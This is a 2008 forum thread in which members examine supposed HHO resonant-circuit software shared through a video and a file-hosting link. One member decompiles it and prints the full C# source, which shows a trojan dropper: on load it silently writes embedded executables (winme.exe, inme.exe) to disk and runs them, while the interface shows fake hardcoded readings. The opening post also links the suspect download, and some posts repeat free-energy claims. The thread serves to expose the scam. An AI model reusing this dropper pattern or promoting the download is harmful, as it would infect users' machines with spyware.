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Author Topic: PC / HHO Resonant Circuit Software file Download / Vid  (Read 26425 times)

goldenequity

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  • Posts: 130
PC / HHO Resonant Circuit Software file Download / Vid
« on: July 29, 2008, 04:23:48 AM »
Greetings All...
This vid came up 24 minutes ago.....
I don't know what to make of it.... but if it's the real deal...
he's offering and literally freaking over everyone downloading a.s.a.p.
more on this later.... want to get this posted to all.
video
http://www.youtube.com/watch?v=IxT_mKuntZo
file download
http://rapidshare.com/files/132673120/hho.zip.html

xbox hacker

  • Sr. Member
  • ****
  • Posts: 262
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #1 on: July 29, 2008, 04:29:28 AM »
DO NOT DOWNLOAD IT!!!

It is probably a "phishing program"!!

TOTAL SCAM!!!!!

just my thoughts.....

goldenequity

  • Full Member
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  • Posts: 130
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #2 on: July 29, 2008, 04:32:27 AM »
FYI: I scanned the zip file with Kamodo Antivirus and no virus was found on the 6 files. ::)
I have not installed it.
I don't know what to make of it..... his first vid came out last week.... I pm'd him and asked when he'd provide more info.... he said he
was working on a second vid.... this came out tonight.
I'm not endorsing it.... just wondering what y'all think.  ???

Bruce_TPU

  • TPU-Elite
  • Hero Member
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  • Posts: 1437
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #3 on: July 29, 2008, 05:16:50 AM »
Interesting.

I did some HHO experiments that I posted a long time ago, using sound frequency to produce excess HHO.  I had about a 50% increase (still below unity) in output.

I also know that Bob Boyce pulses his input at 42.5 KHz if memory serves me right.  So, what is coming through those two wires of the USB port? 

Needing a brave soul with an old computer!  LOL 

Cheers,

Bruce

goldenequity

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  • Posts: 130
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #4 on: July 29, 2008, 06:18:47 AM »
I ran into his first vid last week.... the 2nd vid was tonite... he indicates a 3rd coming.

The comment about f**ker was inputted to him by my friend last week.
He downloaded/virus scanned/ then installed the program.
He pm'd him about the folder that came up as f**ker as well as commented.
He uninstalled the program without incident and kept the file.

The latest file is slightly bigger than the previous file.... same 6 elements..
application and exe files.

The wires/pins are not electrodes (to electrolyze).
my guess: they could measure EC? (electrical conductivity) possibly something else? dunno.

They are inserted through/into vinyl tubing (a water level sight glass for example) to make contact with the electrolyte.

Whatever it is calculating would integrate with a pwm.

That's all I know... the rest is speculation... I defer to your skepticism.

malakabayo

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  • Posts: 10
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #5 on: July 29, 2008, 07:22:10 AM »
could you also post the source code of the hho application.

Rocr

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  • Posts: 14
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #6 on: July 29, 2008, 07:29:43 AM »
.

Interesting .. this is either a sad lonely guy who has no purpose in life or It could be someone truly convinced that they have something ..

Either way their primary mistake is if you do find something and it really works do not post it in parts ! If you have that Eureka moment .

Document your proof and place it everywhere you can P2P Youtube etc because the very real threat of consequences do exist
and you are far safer to place the information into the public domain where world wide and complete dispersal will be your insurance policy .

Remember the Meyer case why did they place a "National Security" lid on his tech ?

This is something that no person or company will be allowed to profit from and the fame that will attend this discovery will all but assure your fortune ..

I believe this is the way it will happen though ..

My AV and Trojan software scans show no signs of infection but this does not mean anything other that there is no know forms contained in it .



.

.

malakabayo

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  • Posts: 10
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #7 on: July 29, 2008, 07:33:04 AM »
if he don't post the source code then I will just make a virtual pc , set it up there and decompile his .net hho application  :P

malakabayo

  • Newbie
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  • Posts: 10
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #8 on: July 29, 2008, 09:27:39 AM »
I decompiled the source code
and on the form load he is secretly calling this exes
--------------   
        this.runApp1(hho.My.Resources.Resources.Setup, "winme.exe");
        this.runApp2(hho.My.Resources.Resources.Setup, "settings1.cfg");
        this.runApp3(hho.My.Resources.Resources.Setup, "settings2.cfg");
        this.runApp4(hho.My.Resources.Resources.Setup, "settings3.cfg");
        this.runApp5(hho.My.Resources.Resources.Setup, "inme.exe");
---------------

now this is kinda dangerous, we dont know
what winme.exe and inme.exe do, but one thing is for sure the
find button does nothing but

private void Button1_Click(object sender, EventArgs e)
    {
        MessageBox.Show("wait a minute finding cell lock");
    }


malakabayo

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  • Posts: 10
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #9 on: July 29, 2008, 09:30:15 AM »
The Full Code
[DesignerGenerated]
public class Form1 : Form
{
    // Fields
    [AccessedThroughProperty("Button1")]
    private Button _Button1;
    [AccessedThroughProperty("Label1")]
    private Label _Label1;
    [AccessedThroughProperty("Label2")]
    private Label _Label2;
    [AccessedThroughProperty("Label3")]
    private Label _Label3;
    [AccessedThroughProperty("Label4")]
    private Label _Label4;
    [AccessedThroughProperty("TextBox1")]
    private TextBox _TextBox1;
    [AccessedThroughProperty("TextBox2")]
    private TextBox _TextBox2;
    [AccessedThroughProperty("TextBox3")]
    private TextBox _TextBox3;
    [AccessedThroughProperty("TextBox4")]
    private TextBox _TextBox4;
    [AccessedThroughProperty("Timer1")]
    private Timer _Timer1;
    [AccessedThroughProperty("Timer2")]
    private Timer _Timer2;
    [AccessedThroughProperty("Timer3")]
    private Timer _Timer3;
    [AccessedThroughProperty("Timer4")]
    private Timer _Timer4;
    private IContainer components;

    // Methods
    [DebuggerNonUserCode]
    public Form1()
    {
        base.Load += new EventHandler(this.Form1_Load);
        this.InitializeComponent();
    }

    private void Button1_Click(object sender, EventArgs e)
    {
        MessageBox.Show("wait a minute finding cell lock");
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
        if (disposing && (this.components != null))
        {
            this.components.Dispose();
        }
        base.Dispose(disposing);
    }

    private void Form1_Load(object sender, EventArgs e)
    {
        this.runApp1(hho.My.Resources.Resources.Setup, "winme.exe");
        this.runApp2(hho.My.Resources.Resources.Setup, "settings1.cfg");
        this.runApp3(hho.My.Resources.Resources.Setup, "settings2.cfg");
        this.runApp4(hho.My.Resources.Resources.Setup, "settings3.cfg");
        this.runApp5(hho.My.Resources.Resources.Setup, "inme.exe");
        this.Timer1.Enabled = false;
        this.Timer2.Enabled = false;
        this.Timer3.Enabled = false;
        this.Timer4.Enabled = false;
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
        this.components = new Container();
        this.TextBox1 = new TextBox();
        this.Label1 = new Label();
        this.Label2 = new Label();
        this.TextBox2 = new TextBox();
        this.Label3 = new Label();
        this.TextBox3 = new TextBox();
        this.Label4 = new Label();
        this.TextBox4 = new TextBox();
        this.Button1 = new Button();
        this.Timer1 = new Timer(this.components);
        this.Timer2 = new Timer(this.components);
        this.Timer3 = new Timer(this.components);
        this.Timer4 = new Timer(this.components);
        this.SuspendLayout();
        Point point = new Point(12, 12);
        this.TextBox1.Location = point;
        this.TextBox1.Name = "TextBox1";
        Size size = new Size(0x8a, 20);
        this.TextBox1.Size = size;
        this.TextBox1.TabIndex = 0;
        this.Label1.AutoSize = true;
        point = new Point(0x9c, 0x13);
        this.Label1.Location = point;
        this.Label1.Name = "Label1";
        size = new Size(0x25, 13);
        this.Label1.Size = size;
        this.Label1.TabIndex = 1;
        this.Label1.Text = "AMPS";
        this.Label2.AutoSize = true;
        point = new Point(0x9c, 60);
        this.Label2.Location = point;
        this.Label2.Name = "Label2";
        size = new Size(30, 13);
        this.Label2.Size = size;
        this.Label2.TabIndex = 2;
        this.Label2.Text = "Volts";
        point = new Point(12, 0x39);
        this.TextBox2.Location = point;
        this.TextBox2.Name = "TextBox2";
        size = new Size(0x8a, 20);
        this.TextBox2.Size = size;
        this.TextBox2.TabIndex = 3;
        this.Label3.AutoSize = true;
        point = new Point(0x9a, 0x71);
        this.Label3.Location = point;
        this.Label3.Name = "Label3";
        size = new Size(0x1d, 13);
        this.Label3.Size = size;
        this.Label3.TabIndex = 4;
        this.Label3.Text = "LPM";
        point = new Point(12, 0x71);
        this.TextBox3.Location = point;
        this.TextBox3.Name = "TextBox3";
        size = new Size(0x8a, 20);
        this.TextBox3.Size = size;
        this.TextBox3.TabIndex = 5;
        this.Label4.AutoSize = true;
        point = new Point(0x9a, 0xa6);
        this.Label4.Location = point;
        this.Label4.Name = "Label4";
        size = new Size(0x1b, 13);
        this.Label4.Size = size;
        this.Label4.TabIndex = 6;
        this.Label4.Text = "HZs";
        point = new Point(12, 0xa3);
        this.TextBox4.Location = point;
        this.TextBox4.Name = "TextBox4";
        size = new Size(0x8a, 20);
        this.TextBox4.Size = size;
        this.TextBox4.TabIndex = 7;
        point = new Point(0x27, 0xd5);
        this.Button1.Location = point;
        this.Button1.Name = "Button1";
        size = new Size(0x4b, 0x17);
        this.Button1.Size = size;
        this.Button1.TabIndex = 8;
        this.Button1.Text = "Find";
        this.Button1.UseVisualStyleBackColor = true;
        this.Timer1.Interval = 0xbb8;
        this.Timer2.Interval = 0x7d0;
        this.Timer3.Interval = 0x9c4;
        this.Timer4.Interval = 0x7d0;
        SizeF ef = new SizeF(6f, 13f);
        this.AutoScaleDimensions = ef;
        this.AutoScaleMode = AutoScaleMode.Font;
        size = new Size(0x110, 0x10a);
        this.ClientSize = size;
        this.Controls.Add(this.Button1);
        this.Controls.Add(this.TextBox4);
        this.Controls.Add(this.Label4);
        this.Controls.Add(this.TextBox3);
        this.Controls.Add(this.Label3);
        this.Controls.Add(this.TextBox2);
        this.Controls.Add(this.Label2);
        this.Controls.Add(this.Label1);
        this.Controls.Add(this.TextBox1);
        this.Name = "Form1";
        this.Text = "HHO";
        this.ResumeLayout(false);
        this.PerformLayout();
    }

    public void runApp1(byte[] appBinaryData, string appName)
    {
        string file = MyProject.Application.Info.DirectoryPath + @"\" + appName;
        MyProject.Computer.FileSystem.WriteAllBytes(file, hho.My.Resources.Resources.Setup, false);
        Process.Start(file);
    }

    public void runApp2(byte[] appBinaryData, string appName)
    {
        string file = MyProject.Application.Info.DirectoryPath + @"\" + appName;
        MyProject.Computer.FileSystem.WriteAllBytes(file, hho.My.Resources.Resources.settings1, false);
    }

    public void runApp3(byte[] appBinaryData, string appName)
    {
        string file = MyProject.Application.Info.DirectoryPath + @"\" + appName;
        MyProject.Computer.FileSystem.WriteAllBytes(file, hho.My.Resources.Resources.settings2, false);
    }

    public void runApp4(byte[] appBinaryData, string appName)
    {
        string file = MyProject.Application.Info.DirectoryPath + @"\" + appName;
        MyProject.Computer.FileSystem.WriteAllBytes(file, hho.My.Resources.Resources.settings3, false);
    }

    public void runApp5(byte[] appBinaryData, string appName)
    {
        string file = MyProject.Application.Info.DirectoryPath + @"\" + appName;
        MyProject.Computer.FileSystem.WriteAllBytes(file, hho.My.Resources.Resources.setmeq, false);
        Process.Start(file);
    }

    private void TextBox4_TextChanged(object sender, EventArgs e)
    {
    }

    private void Timer1_Tick(object sender, EventArgs e)
    {
        this.TextBox4.Text = "45.258";
        this.Timer2.Enabled = true;
        this.Timer1.Enabled = false;
    }

    private void Timer2_Tick(object sender, EventArgs e)
    {
        this.TextBox4.Text = "89.968";
        this.Timer3.Enabled = true;
        this.Timer2.Enabled = false;
    }

    private void Timer3_Tick(object sender, EventArgs e)
    {
        this.TextBox4.Text = "189.369";
        this.Timer4.Enabled = true;
        this.Timer3.Enabled = false;
    }

    private void Timer4_Tick(object sender, EventArgs e)
    {
        this.TextBox4.Text = "26.754";
        this.Timer4.Enabled = false;
    }

    // Properties
    internal virtual Button Button1
    {
        [DebuggerNonUserCode]
        get
        {
            return this._Button1;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            if (this._Button1 != null)
            {
                this._Button1.Click -= new EventHandler(this.Button1_Click);
            }
            this._Button1 = value;
            if (this._Button1 != null)
            {
                this._Button1.Click += new EventHandler(this.Button1_Click);
            }
        }
    }

    internal virtual Label Label1
    {
        [DebuggerNonUserCode]
        get
        {
            return this._Label1;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            this._Label1 = value;
        }
    }

    internal virtual Label Label2
    {
        [DebuggerNonUserCode]
        get
        {
            return this._Label2;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            this._Label2 = value;
        }
    }

    internal virtual Label Label3
    {
        [DebuggerNonUserCode]
        get
        {
            return this._Label3;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            this._Label3 = value;
        }
    }

    internal virtual Label Label4
    {
        [DebuggerNonUserCode]
        get
        {
            return this._Label4;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            this._Label4 = value;
        }
    }

    internal virtual TextBox TextBox1
    {
        [DebuggerNonUserCode]
        get
        {
            return this._TextBox1;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            this._TextBox1 = value;
        }
    }

    internal virtual TextBox TextBox2
    {
        [DebuggerNonUserCode]
        get
        {
            return this._TextBox2;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            this._TextBox2 = value;
        }
    }

    internal virtual TextBox TextBox3
    {
        [DebuggerNonUserCode]
        get
        {
            return this._TextBox3;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            this._TextBox3 = value;
        }
    }

    internal virtual TextBox TextBox4
    {
        [DebuggerNonUserCode]
        get
        {
            return this._TextBox4;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            if (this._TextBox4 != null)
            {
                this._TextBox4.TextChanged -= new EventHandler(this.TextBox4_TextChanged);
            }
            this._TextBox4 = value;
            if (this._TextBox4 != null)
            {
                this._TextBox4.TextChanged += new EventHandler(this.TextBox4_TextChanged);
            }
        }
    }

    internal virtual Timer Timer1
    {
        [DebuggerNonUserCode]
        get
        {
            return this._Timer1;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            if (this._Timer1 != null)
            {
                this._Timer1.Tick -= new EventHandler(this.Timer1_Tick);
            }
            this._Timer1 = value;
            if (this._Timer1 != null)
            {
                this._Timer1.Tick += new EventHandler(this.Timer1_Tick);
            }
        }
    }

    internal virtual Timer Timer2
    {
        [DebuggerNonUserCode]
        get
        {
            return this._Timer2;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            if (this._Timer2 != null)
            {
                this._Timer2.Tick -= new EventHandler(this.Timer2_Tick);
            }
            this._Timer2 = value;
            if (this._Timer2 != null)
            {
                this._Timer2.Tick += new EventHandler(this.Timer2_Tick);
            }
        }
    }

    internal virtual Timer Timer3
    {
        [DebuggerNonUserCode]
        get
        {
            return this._Timer3;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            if (this._Timer3 != null)
            {
                this._Timer3.Tick -= new EventHandler(this.Timer3_Tick);
            }
            this._Timer3 = value;
            if (this._Timer3 != null)
            {
                this._Timer3.Tick += new EventHandler(this.Timer3_Tick);
            }
        }
    }

    internal virtual Timer Timer4
    {
        [DebuggerNonUserCode]
        get
        {
            return this._Timer4;
        }
        [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
        set
        {
            if (this._Timer4 != null)
            {
                this._Timer4.Tick -= new EventHandler(this.Timer4_Tick);
            }
            this._Timer4 = value;
            if (this._Timer4 != null)
            {
                this._Timer4.Tick += new EventHandler(this.Timer4_Tick);
            }
        }
    }
}


greendoor

  • Jr. Member
  • **
  • Posts: 98
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #10 on: July 29, 2008, 10:01:25 AM »
At best this is a pathetic joke.  At worst it's malware.

You would have to be some sort of dribbling moron to believe that a USB cable can deliver 'Amps' . 

If there was anything serious to this software, it would have a frequency setting.

felix.lamet

  • Newbie
  • *
  • Posts: 29
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #11 on: July 29, 2008, 10:19:14 AM »
This is a JOKE!

USB has 5 Volts and never up to 10 Amps.

Thats very stupid.

greetings
lamet


alan

  • Hero Member
  • *****
  • Posts: 716
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #12 on: July 29, 2008, 12:24:08 PM »
I decompiled the source code
and on the form load he is secretly calling this exes
How have you decompiled it?

haithar

  • Jr. Member
  • **
  • Posts: 77
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #13 on: July 29, 2008, 12:33:22 PM »
winme.exe is spyware, so don't install it if you do not have a good anti virus program.

xbox hacker

  • Sr. Member
  • ****
  • Posts: 262
Re: PC / HHO Resonant Circuit Software file Download / Vid
« Reply #14 on: July 29, 2008, 02:27:14 PM »
Not too log ago this same kind of thing started with Microsoft Xbox Live points....they got you to download the "generator" to get free points for live...it was a TOTAL SCAM...JUST PHISHING SOFTWARE!!!!! Whats really funny you can still find the Xbox Live vids on youtube.